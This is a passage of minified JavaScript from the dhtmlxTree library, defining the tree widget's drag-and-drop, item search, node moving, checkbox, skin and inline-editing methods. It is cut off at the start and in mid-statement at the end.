c=dhx4.absTop(this.allTree)-this.allTree.scrollTop;this.dadmodec=this.dadmode;this.dadmodefix=0;if(this.dadmode==2){var l=m-g+(document.body.scrollTop||document.documentElement.scrollTop)-2-h.offsetHeight/2;if((Math.abs(l)-h.offsetHeight/6)>0){this.dadmodec=1;if(l<0){this.dadmodefix=0-h.offsetHeight}}else{this.dadmodec=0}}if(this.dadmodec==0){var a=h.parentObject.span;a.className+=\" dragAndDropRow\";this._lastMark=a}else{this._clearMove();this.selectionBar.style.top=(g-c+((parseInt(h.parentObject.span.parentNode.previousSibling.childNodes[0].style.height)||18)-1)+this.dadmodefix)+\"px\";this.selectionBar.style.left=\"5px\";if(this.allTree.offsetWidth>20){this.selectionBar.style.width=(this.allTree.offsetWidth-(_isFF?30:25))+\"px\"}this.selectionBar.style.display=\"\"}this._autoScroll(null,g,c)}};dhtmlXTreeObject.prototype._autoScroll=function(e,c,a){if(this.autoScroll){if(e){c=dhx4.absTop(e);a=dhx4.absTop(this.allTree)-this.allTree.scrollTop}if((c-a-parseInt(this.allTree.scrollTop))>(parseInt(this.allTree.offsetHeight)-50)){this.allTree.scrollTop=parseInt(this.allTree.scrollTop)+20}if((c-a)<(parseInt(this.allTree.scrollTop)+30)){this.allTree.scrollTop=parseInt(this.allTree.scrollTop)-20}}};dhtmlXTreeObject.prototype._createDragNode=function(l,h){if(!this.dADTempOff){return null}var g=l.parentObject;if(!this.callEvent(\"onBeforeDrag\",[g.id,h])){return null}if(!g.i_sel){this._selectItem(g,h)}this._checkMSelectionLogic();var c=document.createElement(\"div\");var m=new Array();if(this._itim_dg){for(var a=0;a<this._selected.length;a++){m[a]=\"<table cellspacing='0' cellpadding='0'><tr><td><img width='18px' height='18px' src='\"+this._getSrc(this._selected[a].span.parentNode.previousSibling.childNodes[0])+\"'></td><td>\"+this._selected[a].span.innerHTML+\"</td></tr></table>\"}}else{m=this.getSelectedItemText().split(this.dlmtr)}c.innerHTML=m.join(\"\");c.style.position=\"absolute\";c.className=\"dragSpanDiv\";this._dragged=(new Array()).concat(this._selected);return c};dhtmlXTreeObject.prototype._focusNode=function(a){var c=dhx4.absTop(a.htmlNode)-dhx4.absTop(this.allTree);if((c>(this.allTree.offsetHeight-30))||(c<0)){this.allTree.scrollTop=c+this.allTree.scrollTop}};dhtmlXTreeObject.prototype._preventNsDrag=function(a){if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};dhtmlXTreeObject.prototype._drag=function(m,n,a){if(this._autoOpenTimer){clearTimeout(this._autoOpenTimer)}if(!a.parentObject){a=this.htmlNode.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0];this.dadmodec=0}this._clearMove();var l=m.parentObject.treeNod;if((l)&&(l._clearMove)){l._clearMove(\"\")}if((!this.dragMove)||(this.dragMove())){if((!l)||(!l._clearMove)||(!l._dragged)){var g=new Array(m.parentObject)}else{var g=l._dragged}var c=a.parentObject;for(var h=0;h<g.length;h++){var e=this._moveNode(g[h],c);if((this.dadmodec)&&(e!==false)){c=this._globalIdStorageFind(e,true,true)}if((e)&&(!this._sADnD)){this.selectItem(e,0,1)}}}if(l){l._dragged=new Array()}};dhtmlXTreeObject.prototype._dragIn=function(g,c,l,h){if(!this.dADTempOff){return 0}var m=c.parentObject;var a=g.parentObject;if((!a)&&(this._ddronr)){return}if(!this.callEvent(\"onDragIn\",[m.id,a?a.id:null,m.treeNod,this])){if(a){this._autoScroll(g)}return 0}if(!a){this.allTree.className+=\" selectionBox\"}else{if(m.childNodes==null){this._setMove(g,l,h);return g}var o=m.treeNod;for(var e=0;e<o._dragged.length;e++){if(this._checkPNodes(a,o._dragged[e])){this._autoScroll(g);return 0}}this.selectionBar.parentNode.removeChild(this.selectionBar);a.span.parentNode.appendChild(this.selectionBar);this._setMove(g,l,h);if(this._getOpenState(a)<=0){var n=this;this._autoOpenId=a.id;this._autoOpenTimer=window.setTimeout(function(){n._autoOpenItem(null,n);n=null},1000)}}return g};dhtmlXTreeObject.prototype._autoOpenItem=function(c,a){a.openItem(a._autoOpenId)};dhtmlXTreeObject.prototype._dragOut=function(a){this._clearMove();if(this._autoOpenTimer){clearTimeout(this._autoOpenTimer)}};dhtmlXTreeObject.prototype._getNextNode=function(a,c){if((!c)&&(a.childsCount)){return a.childNodes[0]}if(a==this.htmlNode){return -1}if((a.tr)&&(a.tr.nextSibling)&&(a.tr.nextSibling.nodem)){return a.tr.nextSibling.nodem}return this._getNextNode(a.parentObject,true)};dhtmlXTreeObject.prototype._lastChild=function(a){if(a.childsCount){return this._lastChild(a.childNodes[a.childsCount-1])}else{return a}};dhtmlXTreeObject.prototype._getPrevNode=function(a,c){if((a.tr)&&(a.tr.previousSibling)&&(a.tr.previousSibling.nodem)){return this._lastChild(a.tr.previousSibling.nodem)}if(a.parentObject){return a.parentObject}else{return -1}};dhtmlXTreeObject.prototype.findItem=function(a,e,c){var g=this._findNodeByLabel(a,e,(c?this.htmlNode:null));if(g){this.selectItem(g.id,true);this._focusNode(g);return g.id}else{return null}};dhtmlXTreeObject.prototype.findItemIdByLabel=function(a,e,c){var g=this._findNodeByLabel(a,e,(c?this.htmlNode:null));if(g){return g.id}else{return null}};dhtmlXTreeObject.prototype.findStrInXML=function(c,e,h){if(!c.childNodes&&c.item){return this.findStrInJSON(c,e,h)}if(!c.childNodes){return false}for(var a=0;a<c.childNodes.length;a++){if(c.childNodes[a].nodeType==1){var g=c.childNodes[a].getAttribute(e);if(!g&&c.childNodes[a].tagName==\"itemtext\"){g=c.childNodes[a].firstChild.data}if((g)&&(g.toLowerCase().search(h)!=-1)){return true}if(this.findStrInXML(c.childNodes[a],e,h)){return true}}}return false};dhtmlXTreeObject.prototype.findStrInJSON=function(c,e,h){for(var a=0;a<c.item.length;a++){var g=c.item[a].text;if((g)&&(g.toLowerCase().search(h)!=-1)){return true}if(c.item[a].item&&this.findStrInJSON(c.item[a],e,h)){return true}}return false};dhtmlXTreeObject.prototype._findNodeByLabel=function(a,h,g){var a=a.replace(new RegExp(\"^( )+\"),\"\").replace(new RegExp(\"( )+$\"),\"\");a=new RegExp(a.replace(/([\\^\\.\\?\\*\\+\\\\\\[\\]\\(\\)]{1})/gi,\"\\\\$1\").replace(/ /gi,\".*\"),\"gi\");if(!g){g=this._selected[0];if(!g){g=this.htmlNode}}var c=g;if(!h){if((g.unParsed)&&(this.findStrInXML(g.unParsed.d,\"text\",a))){this.reParse(g)}g=this._getNextNode(c);if(g==-1){g=this.htmlNode.childNodes[0]}}else{var e=this._getPrevNode(c);if(e==-1){e=this._lastChild(this.htmlNode)}if((e.unParsed)&&(this.findStrInXML(e.unParsed.d,\"text\",a))){this.reParse(e);g=this._getPrevNode(c)}else{g=e}if(g==-1){g=this._lastChild(this.htmlNode)}}while((g)&&(g!=c)){if((g.label)&&(g.label.search(a)!=-1)){return(g)}if(!h){if(g==-1){if(c==this.htmlNode){break}g=this.htmlNode.childNodes[0]}if((g.unParsed)&&(this.findStrInXML(g.unParsed.d,\"text\",a))){this.reParse(g)}g=this._getNextNode(g);if(g==-1){g=this.htmlNode}}else{var e=this._getPrevNode(g);if(e==-1){e=this._lastChild(this.htmlNode)}if((e.unParsed)&&(this.findStrInXML(e.unParsed.d,\"text\",a))){this.reParse(e);g=this._getPrevNode(g)}else{g=e}if(g==-1){g=this._lastChild(this.htmlNode)}}}return null};dhtmlXTreeObject.prototype.moveItem=function(n,c,o,a){var h=this._globalIdStorageFind(n);if(!h){return(0)}var l=null;switch(c){case\"right\":alert(\"Not supported yet\");break;case\"item_child\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}l=(a||this)._moveNodeTo(h,e,0);break;case\"item_sibling\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}l=(a||this)._moveNodeTo(h,e.parentObject,e);break;case\"item_sibling_next\":var e=(a||this)._globalIdStorageFind(o);if(!e){return(0)}if((e.tr)&&(e.tr.nextSibling)&&(e.tr.nextSibling.nodem)){l=(a||this)._moveNodeTo(h,e.parentObject,e.tr.nextSibling.nodem)}else{l=(a||this)._moveNodeTo(h,e.parentObject)}break;case\"left\":if(h.parentObject.parentObject){l=this._moveNodeTo(h,h.parentObject.parentObject,h.parentObject)}break;case\"up\":var m=this._getPrevNode(h);if((m==-1)||(!m.parentObject)){return null}l=this._moveNodeTo(h,m.parentObject,m);break;case\"up_strict\":var m=this._getIndex(h);if(m!=0){l=this._moveNodeTo(h,h.parentObject,h.parentObject.childNodes[m-1])}break;case\"down_strict\":var m=this._getIndex(h);var g=h.parentObject.childsCount-2;if(m==g){l=this._moveNodeTo(h,h.parentObject)}else{if(m<g){l=this._moveNodeTo(h,h.parentObject,h.parentObject.childNodes[m+2])}}break;case\"down\":var m=this._getNextNode(this._lastChild(h));if((m==-1)||(!m.parentObject)){return}if(m.parentObject==h.parentObject){var m=this._getNextNode(m)}if(m==-1){l=this._moveNodeTo(h,h.parentObject)}else{if((m==-1)||(!m.parentObject)){return}l=this._moveNodeTo(h,m.parentObject,m)}break}if(_isIE&&_isIE<8){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"}return l};dhtmlXTreeObject.prototype.setDragBehavior=function(c,a){this._sADnD=(!dhx4.s2b(a));switch(c){case\"child\":this.dadmode=0;break;case\"sibling\":this.dadmode=1;break;case\"complex\":this.dadmode=2;break}};dhtmlXTreeObject.prototype._loadDynXML=function(e,c){c=c||this.XMLsource;var a=(new Date()).valueOf();this._ld_id=e;if(this.xmlalb==\"function\"){if(c){c(this._escape(e))}}else{if(this.xmlalb==\"name\"){this.loadXML(c+this._escape(e))}else{if(this.xmlalb==\"xmlname\"){this.loadXML(c+this._escape(e)+\".xml?uid=\"+a)}else{this.loadXML(c+dhtmlx.url(c)+\"uid=\"+a+\"&id=\"+this._escape(e))}}}};dhtmlXTreeObject.prototype.enableMultiselection=function(c,a){this._amsel=dhx4.s2b(c);this._amselS=dhx4.s2b(a)};dhtmlXTreeObject.prototype._checkMSelectionLogic=function(){var e=new Array();for(var c=0;c<this._selected.length;c++){for(var a=0;a<this._selected.length;a++){if((c!=a)&&(this._checkPNodes(this._selected[a],this._selected[c]))){e[e.length]=this._selected[a]}}}for(var c=0;c<e.length;c++){this._unselectItem(e[c])}};dhtmlXTreeObject.prototype._checkPNodes=function(c,a){if(this._dcheckf){return false}if(a==c){return 1}if(c.parentObject){return this._checkPNodes(c.parentObject,a)}else{return 0}};dhtmlXTreeObject.prototype.disableDropCheck=function(a){this._dcheckf=dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableDistributedParsing=function(e,c,a){this._edsbps=dhx4.s2b(e);this._edsbpsA=new Array();this._edsbpsC=c||10;this._edsbpsD=a||250};dhtmlXTreeObject.prototype.getDistributedParsingState=function(){return(!((!this._edsbpsA)||(!this._edsbpsA.length)))};dhtmlXTreeObject.prototype.getItemParsingState=function(e){var c=this._globalIdStorageFind(e,true,true);if(!c){return 0}if(this._edsbpsA){for(var a=0;a<this._edsbpsA.length;a++){if(this._edsbpsA[a][2]==e){return -1}}}return 1};dhtmlXTreeObject.prototype._distributedStart=function(c,h,g,e,a){if(!this._edsbpsA){this._edsbpsA=new Array()}this._edsbpsA[this._edsbpsA.length]=[c,h,g,e,a]};dhtmlXTreeObject.prototype._distributedStep=function(g){var c=this;if((!this._edsbpsA)||(!this._edsbpsA.length)){c.XMLloadingWarning=0;return}var h=this._edsbpsA[0];this.parsedArray=new Array();this._parse(h[0],h[2],h[3],h[1]);var a=this._globalIdStorageFind(h[2]);this._redrawFrom(this,a,h[4],this._getOpenState(a));var e=this.setCheckList.split(this.dlmtr);for(var l=0;l<e.length;l++){if(e[l]){this.setCheck(e[l],1)}}this._edsbpsA=(new Array()).concat(this._edsbpsA.slice(1));if((!this._edsbpsA.length)){window.setTimeout(function(){if(c.onXLE){c.onXLE(c,g)}c.callEvent(\"onXLE\",[c,g])},1);c.xmlstate=0}};dhtmlXTreeObject.prototype.enableTextSigns=function(a){this._txtimg=dhx4.s2b(a)};dhtmlXTreeObject.prototype.preventIECaching=function(a){dhx4.ajax.cache=!a};dhtmlXTreeObject.prototype.preventIECashing=dhtmlXTreeObject.prototype.preventIECaching;dhtmlXTreeObject.prototype.disableCheckbox=function(e,c){if(typeof(e)!=\"object\"){var a=this._globalIdStorageFind(e,0,1)}else{var a=e}if(!a){return}a.dscheck=dhx4.s2b(c)?(((a.checkstate||0)%3)+3):((a.checkstate>2)?(a.checkstate-3):a.checkstate);this._setCheck(a);if(a.dscheck<3){a.dscheck=false}};dhtmlXTreeObject.prototype.smartRefreshBranch=function(c,a){this._branchUpdate=1;this.smartRefreshItem(c,a)};dhtmlXTreeObject.prototype.smartRefreshItem=function(g,e){var a=this._globalIdStorageFind(g);for(var c=0;c<a.childsCount;c++){a.childNodes[c]._dmark=true}this.waitUpdateXML=true;if(e&&e.exists){this._parse(e,g)}else{this._loadDynXML(g,e)}};dhtmlXTreeObject.prototype.refreshItems=function(c,e){var g=c.toString().split(this.dlmtr);this.waitUpdateXML=new Array();for(var a=0;a<g.length;a++){this.waitUpdateXML[g[a]]=true}this.loadXML((e||this.XMLsource)+dhtmlx.url(e||this.XMLsource)+\"ids=\"+this._escape(c))};dhtmlXTreeObject.prototype.updateItem=function(m,l,g,e,c,h,n){var a=this._globalIdStorageFind(m);a.userData=new cObject();if(l){a.label=l}a.images=new Array(g||this.imageArray[0],e||this.imageArray[1],c||this.imageArray[2]);this.setItemText(m,l);if(h){this._setCheck(a,true)}if(n==\"1\"&&!this.hasChildren(m)){a.XMLload=0}this._correctPlus(a);a._dmark=false;return a};dhtmlXTreeObject.prototype.setDropHandler=function(a){this.attachEvent(\"onDrop\",a)};dhtmlXTreeObject.prototype.setOnLoadingStart=function(a){this.attachEvent(\"onXLS\",a)};dhtmlXTreeObject.prototype.setOnLoadingEnd=function(a){this.attachEvent(\"onXLE\",a)};dhtmlXTreeObject.prototype.setXMLAutoLoadingBehaviour=function(a){this.xmlalb=a};dhtmlXTreeObject.prototype.enableSmartCheckboxes=function(a){this.smcheck=dhx4.s2b(a)};dhtmlXTreeObject.prototype.getXMLState=function(){return(this.xmlstate==1)};dhtmlXTreeObject.prototype.setItemTopOffset=function(l,g){var e;if(typeof(l)!=\"object\"){e=this._globalIdStorageFind(l)}else{e=l}var h=e.span.parentNode.parentNode;e.span.style.paddingBottom=\"1px\";for(var c=0;c<h.childNodes.length;c++){if(c!=0){if(_isIE){h.childNodes[c].style.height=\"18px\";h.childNodes[c].style.paddingTop=parseInt(g)+\"px\"}else{h.childNodes[c].style.height=18+parseInt(g)+\"px\"}}else{var a=h.childNodes[c].firstChild;if(h.childNodes[c].firstChild.tagName!=\"DIV\"){a=document.createElement(\"DIV\");h.childNodes[c].insertBefore(a,h.childNodes[c].firstChild)}if((e.parentObject.id!=this.rootId||e.parentObject.childNodes[0]!=e)&&this.treeLinesOn){h.childNodes[c].style.backgroundImage=\"url(\"+this.imPath+this.lineArray[5]+\")\"}a.innerHTML=\"&nbsp;\";a.style.overflow=\"hidden\"}a.style.verticalAlign=h.childNodes[c].style.verticalAlign=\"bottom\";if(_isIE){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\"}}};dhtmlXTreeObject.prototype.setIconSize=function(g,c,h){if(h){if((h)&&(h.span)){var a=h}else{var a=this._globalIdStorageFind(h)}if(!a){return(0)}var e=a.span.parentNode.previousSibling.childNodes[0];if(g){e.style.width=g+\"px\";if(window._KHTMLrv){e.parentNode.style.width=g+\"px\"}}if(c){e.style.height=c+\"px\";if(window._KHTMLrv){e.parentNode.style.height=c+\"px\"}}}else{this.def_img_x=g;this.def_img_y=c}};dhtmlXTreeObject.prototype.getItemImage=function(h,g,c){var e=this._globalIdStorageFind(h);if(!e){return\"\"}var a=e.images[g||0];if(c){a=this.iconURL+a}return a};dhtmlXTreeObject.prototype.enableRadioButtons=function(g,e){if(arguments.length==1){this._frbtr=dhx4.s2b(g);this.checkBoxOff=this.checkBoxOff||this._frbtr;return}var c=this._globalIdStorageFind(g);if(!c){return\"\"}e=dhx4.s2b(e);if((e)&&(!c._r_logic)){c._r_logic=true;for(var a=0;a<c.childsCount;a++){this._setCheck(c.childNodes[a],c.childNodes[a].checkstate)}}if((!e)&&(c._r_logic)){c._r_logic=false;for(var a=0;a<c.childsCount;a++){this._setCheck(c.childNodes[a],c.childNodes[a].checkstate)}}};dhtmlXTreeObject.prototype.enableSingleRadioMode=function(a){this._frbtrs=dhx4.s2b(a)};dhtmlXTreeObject.prototype.openOnItemAdded=function(a){this._hAdI=!dhx4.s2b(a)};dhtmlXTreeObject.prototype.openOnItemAdding=function(a){this._hAdI=!dhx4.s2b(a)};dhtmlXTreeObject.prototype.enableMultiLineItems=function(a){if(a===true){this.mlitems=\"100%\"}else{this.mlitems=a}};dhtmlXTreeObject.prototype.enableAutoTooltips=function(a){this.ettip=dhx4.s2b(a)};dhtmlXTreeObject.prototype.clearSelection=function(a){if(a){this._unselectItem(this._globalIdStorageFind(a))}else{this._unselectItems()}};dhtmlXTreeObject.prototype.showItemSign=function(g,c){var a=this._globalIdStorageFind(g);if(!a){return 0}var e=a.span.parentNode.previousSibling.previousSibling.previousSibling;if(!dhx4.s2b(c)){this._openItem(a);a.closeble=false;a.wsign=true}else{a.closeble=true;a.wsign=false}this._correctPlus(a)};dhtmlXTreeObject.prototype.showItemCheckbox=function(h,g){if(!h){for(var c in this._idpull){this.showItemCheckbox(this._idpull[c],g)}}if(typeof(h)!=\"object\"){h=this._globalIdStorageFind(h,0,0)}if(!h){return 0}h.nocheckbox=!dhx4.s2b(g);var e=h.span.parentNode.previousSibling.previousSibling.childNodes[0];e.parentNode.style.display=(!h.nocheckbox)?\"\":\"none\"};dhtmlXTreeObject.prototype.setListDelimeter=function(a){this.dlmtr=a};dhtmlXTreeObject.prototype.setEscapingMode=function(a){this.utfesc=a};dhtmlXTreeObject.prototype.enableHighlighting=function(a){this.ehlt=true;this.ehlta=dhx4.s2b(a)};dhtmlXTreeObject.prototype._itemMouseOut=function(){var c=this.childNodes[3].parentObject;var a=c.treeNod;a.callEvent(\"onMouseOut\",[c.id]);if(c.id==a._l_onMSI){a._l_onMSI=null}if(!a.ehlta){return}c.span.className=c.span.className.replace(\"_lor\",\"\")};dhtmlXTreeObject.prototype._itemMouseIn=function(){var c=this.childNodes[3].parentObject;var a=c.treeNod;if(a._l_onMSI!=c.id){a.callEvent(\"onMouseIn\",[c.id])}a._l_onMSI=c.id;if(!a.ehlta){return}c.span.className=c.span.className.replace(\"_lor\",\"\");c.span.className=c.span.className.replace(/((standart|selected)TreeRow)/,\"$1_lor\")};dhtmlXTreeObject.prototype.enableActiveImages=function(a){this._aimgs=dhx4.s2b(a)};dhtmlXTreeObject.prototype.focusItem=function(c){var a=this._globalIdStorageFind(c);if(!a){return(0)}this._focusNode(a)};dhtmlXTreeObject.prototype.getAllSubItems=function(a){return this._getAllSubItems(a)};dhtmlXTreeObject.prototype.getAllChildless=function(){return this._getAllScraggyItems(this.htmlNode)};dhtmlXTreeObject.prototype.getAllLeafs=dhtmlXTreeObject.prototype.getAllChildless;dhtmlXTreeObject.prototype._getAllScraggyItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(e.childNodes[c].unParsed){var a=this._getAllScraggyItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllScraggyItems(e.childNodes[c])}if(a){if(g){g+=this.dlmtr+a}else{g=a}}}else{if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}}}return g};dhtmlXTreeObject.prototype._getAllFatItems=function(e){var g=\"\";for(var c=0;c<e.childsCount;c++){if((e.childNodes[c].unParsed)||(e.childNodes[c].childsCount>0)){if(!g){g=\"\"+e.childNodes[c].id}else{g+=this.dlmtr+e.childNodes[c].id}if(e.childNodes[c].unParsed){var a=this._getAllFatItemsXML(e.childNodes[c].unParsed,1)}else{var a=this._getAllFatItems(e.childNodes[c])}if(a){g+=this.dlmtr+a}}}return g};dhtmlXTreeObject.prototype.getAllItemsWithKids=function(){return this._getAllFatItems(this.htmlNode)};dhtmlXTreeObject.prototype.getAllFatItems=dhtmlXTreeObject.prototype.getAllItemsWithKids;dhtmlXTreeObject.prototype.getAllChecked=function(){return this._getAllChecked(\"\",\"\",1)};dhtmlXTreeObject.prototype.getAllUnchecked=function(a){if(a){a=this._globalIdStorageFind(a)}return this._getAllChecked(a,\"\",0)};dhtmlXTreeObject.prototype.getAllPartiallyChecked=function(){return this._getAllChecked(\"\",\"\",2)};dhtmlXTreeObject.prototype.getAllCheckedBranches=function(){var a=[this._getAllChecked(\"\",\"\",1)];var c=this._getAllChecked(\"\",\"\",2);if(c){a.push(c)}return a.join(this.dlmtr)};dhtmlXTreeObject.prototype._getAllChecked=function(g,e,h){if(!g){g=this.htmlNode}if(g.checkstate==h){if(!g.nocheckbox){if(e){e+=this.dlmtr+g.id}else{e=\"\"+g.id}}}var a=g.childsCount;for(var c=0;c<a;c++){e=this._getAllChecked(g.childNodes[c],e,h)}if(g.unParsed){e=this._getAllCheckedXML(g.unParsed,e,h)}if(e){return e}else{return\"\"}};dhtmlXTreeObject.prototype.setItemStyle=function(g,e,c){var c=c||false;var a=this._globalIdStorageFind(g);if(!a){return 0}if(!a.span.style.cssText){a.span.setAttribute(\"style\",a.span.getAttribute(\"style\")+\"; \"+e)}else{a.span.style.cssText=c?e:a.span.style.cssText+\";\"+e}};dhtmlXTreeObject.prototype.enableImageDrag=function(a){this._itim_dg=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setOnDragIn=function(a){this.attachEvent(\"onDragIn\",a)};dhtmlXTreeObject.prototype.enableDragAndDropScrolling=function(a){this.autoScroll=dhx4.s2b(a)};dhtmlXTreeObject.prototype.setSkin=function(a){var c=this.parentObject.className.replace(/dhxtree_[^ ]*/gi,\"\");this.parentObject.className=c+\" dhxtree_\"+a;if(a==\"dhx_terrace\"||a==\"dhx_web\"){this.enableTreeLines(false)}};(function(){dhtmlx.extend_api(\"dhtmlXTreeObject\",{_init:function(a){return[a.parent,(a.width||\"100%\"),(a.height||\"100%\"),(a.root_id||0)]},auto_save_selection:\"enableAutoSavingSelected\",auto_tooltip:\"enableAutoTooltips\",checkbox:\"enableCheckBoxes\",checkbox_3_state:\"enableThreeStateCheckboxes\",checkbox_smart:\"enableSmartCheckboxes\",context_menu:\"enableContextMenu\",distributed_parsing:\"enableDistributedParsing\",drag:\"enableDragAndDrop\",drag_copy:\"enableMercyDrag\",drag_image:\"enableImageDrag\",drag_scroll:\"enableDragAndDropScrolling\",editor:\"enableItemEditor\",hover:\"enableHighlighting\",images:\"enableTreeImages\",image_fix:\"enableIEImageFix\",image_path:\"setImagePath\",lines:\"enableTreeLines\",loading_item:\"enableLoadingItem\",multiline:\"enableMultiLineItems\",multiselect:\"enableMultiselection\",navigation:\"enableKeyboardNavigation\",radio:\"enableRadioButtons\",radio_single:\"enableSingleRadioMode\",rtl:\"enableRTL\",search:\"enableKeySearch\",smart_parsing:\"enableSmartXMLParsing\",smart_rendering:\"enableSmartRendering\",text_icons:\"enableTextSigns\",xml:\"loadXML\",skin:\"setSkin\"},{})})();dhtmlXTreeObject.prototype._dp_init=function(a){a.attachEvent(\"insertCallback\",function(g,l,c){var e=dhx4.ajax.xpath(\".//item\",g);var h=e[0].getAttribute(\"text\");this.obj.insertNewItem(c,l,h,0,0,0,0,\"CHILD\")});a.attachEvent(\"updateCallback\",function(g,l,c){var e=dhx4.ajax.xpath(\".//item\",g);var h=e[0].getAttribute(\"text\");this.obj.setItemText(l,h);if(this.obj.getParentId(l)!=c){this.obj.moveItem(l,\"item_child\",c)}this.setUpdated(l,true,\"updated\")});a.attachEvent(\"deleteCallback\",function(e,g,c){this.obj.setUserData(g,this.action_param,\"true_deleted\");this.obj.deleteItem(g,false)});a._methods=[\"setItemStyle\",\"\",\"changeItemId\",\"deleteItem\"];this.attachEvent(\"onEdit\",function(c,e){if(c==3){a.setUpdated(e,true)}return true});this.attachEvent(\"onDrop\",function(l,h,g,e,c){if(e==c){a.setUpdated(l,true)}});this._onrdlh=function(c){var e=a.getState(c);if(e==\"inserted\"){a.set_invalid(c,false);a.setUpdated(c,false);return true}if(e==\"true_deleted\"){a.setUpdated(c,false);return true}a.setUpdated(c,true,\"deleted\");return false};this._onradh=function(c){a.setUpdated(c,true,\"inserted\")};a._getRowData=function(h){var g={};var l=this.obj._globalIdStorageFind(h);var e=l.parentObject;var c=0;for(c=0;c<e.childsCount;c++){if(e.childNodes[c]==l){break}}g.tr_id=l.id;g.tr_pid=e.id;g.tr_order=c;g.tr_text=l.span.innerHTML;e=(l._userdatalist||\"\").split(\",\");for(c=0;c<e.length;c++){g[e[c]]=l.userData[\"t_\"+e[c]]}return g}};if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachTree=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"tree\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);this.dataType=\"tree\";this.dataObj=new dhtmlXTreeObject(c,\"100%\",\"100%\",(a||0));this.dataObj.setSkin(this.conf.skin);this.dataObj.allTree.childNodes[0].style.marginTop=\"2px\";this.dataObj.allTree.childNodes[0].style.marginBottom=\"2px\";c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXTreeObject.prototype.makeDraggable=function(c,a){if(typeof(c)!=\"object\"){c=document.getElementById(c)}dragger=new dhtmlDragAndDropObject();dropper=new dhx_dragSomethingInTree();dragger.addDraggableItem(c,dropper);c.dragLanding=null;c.ondragstart=dropper._preventNsDrag;c.onselectstart=new Function(\"return false;\");c.parentObject=new Object;c.parentObject.img=c;c.parentObject.treeNod=dropper;dropper._customDrop=a};dhtmlXTreeObject.prototype.makeDragable=dhtmlXTreeObject.prototype.makeDraggable;dhtmlXTreeObject.prototype.makeAllDraggable=function(c){var e=document.getElementsByTagName(\"div\");for(var a=0;a<e.length;a++){if(e[a].getAttribute(\"dragInDhtmlXTree\")){this.makeDragable(e[a],c)}}};function dhx_dragSomethingInTree(){this.lWin=window;this._createDragNode=function(c){var a=document.createElement(\"div\");a.style.position=\"absolute\";a.innerHTML=(c.innerHTML||c.value);a.className=\"dragSpanDiv\";return a};this._preventNsDrag=function(a){(a||window.event).cancelBubble=true;if((a)&&(a.preventDefault)){a.preventDefault();return false}return false};this._nonTrivialNode=function(c,e,a,g){if(this._customDrop){return this._customDrop(c,g.img.id,e.id,a?a.id:null)}var h=(g.img.getAttribute(\"image\")||\"\");var m=g.img.id||\"new\";var l=(g.img.getAttribute(\"text\")||(_isIE?g.img.innerText:g.img.textContent));c[a?\"insertNewNext\":\"insertNewItem\"](a?a.id:e.id,m,l,\"\",h,h,h)}}dhtmlXTreeObject.prototype.enableItemEditor=function(a){this._eItEd=dhx4.s2b(a);if(!this._eItEdFlag){this._edn_click_IE=true;this._edn_dblclick=true;this._ie_aFunc=this.aFunc;this._ie_dblclickFuncHandler=this.dblclickFuncHandler;this.setOnDblClickHandler(function(e,c){if(this._edn_dblclick){this._editItem(e,c)}return true});this.setOnClickHandler(function(e,c){this._stopEditItem(e,c);if((this.ed_hist_clcik==e)&&(this._edn_click_IE)){this._editItem(e,c)}this.ed_hist_clcik=e;return true});this._eItEdFlag=true}};dhtmlXTreeObject.prototype.setOnEditHandler=function(a){this.attachEvent(\"onEdit\",a)};dhtmlXTreeObject.prototype.setEditStartAction=function(a,c){this._edn_click_IE=dhx4.s2b(a);this._edn_dblclick=dhx4.s2b(c)};dhtmlXTreeObject.prototype._stopEdit=function(c,l){if(this._editCell){this.dADTempOff=this.dADTempOffEd;if(this._editCell.id!=c){var g=true;if(!l){g=this.callEvent(\"onEdit\",[2,this._editCell.id,this,this._editCell.span.childNodes[0].value])}else{g=false;this.callEvent(\"onEditCancel\",[this._editCell.id,this._editCell._oldValue])}if(g===true){g=this._editCell.span.childNodes[0].value}else{if(g===false){g=this._editCell._oldValue}}var h=(g!=this._editCell._oldValue);this._editCell.span.innerHTML=g;this._editCell.label=this._editCell.span.innerHTML;var e=this._editCell.i_sel?\"selectedTreeRow\":\"standartTreeRow\";this._editCell.span.className=e;this._editCell.span.parentNode.className=\"standartTreeRow\";this._editCell.span.style.paddingRight=this._editCell.span.style.paddingLeft=\"5px\";this._editCell.span.onclick=this._editCell.span.ondblclick=function(){};var m=this._editCell.id;if(this.childCalc){this._fixChildCountLabel(this._editCell)}this._editCell=null;if(!l){this.callEvent(\"onEdit\",[3,m,this,h])}if(this._enblkbrd){this.parentObject.lastChild.focus();this.parentObject.lastChild.focus()}}}};dhtmlXTreeObject.prototype._stopEditItem=function(c,a){this._stopEdit(c)};dhtmlXTreeObject.prototype.stopEdit=function(a){if(this._editCell){this._stopEdit(this._editCell.id+\"_non\",a)}};dhtmlXTreeObject.prototype.editItem=function(a){this._editItem(a,this)};dhtmlXTreeObject.prototype._editItem=function(h,a){if(this._eItEd){this._stopEdit();var e=this._globalIdStorageFind(h);if(!e){return}var g=this.callEvent(\"onEdit\",[0,h,this,e.span.innerHTML]);if(g===true){g=(typeof e.span.innerText!=\"undefined\"?e.span.innerText:e.span.textContent)}else{if(g===false){return}}this.dADTempOffEd=this.dADTempOff;this.dADTempOff=false;this._editCell=e;e._oldValue=g;e.span.innerHTML=\"<input type='text' class='intreeeditRow' 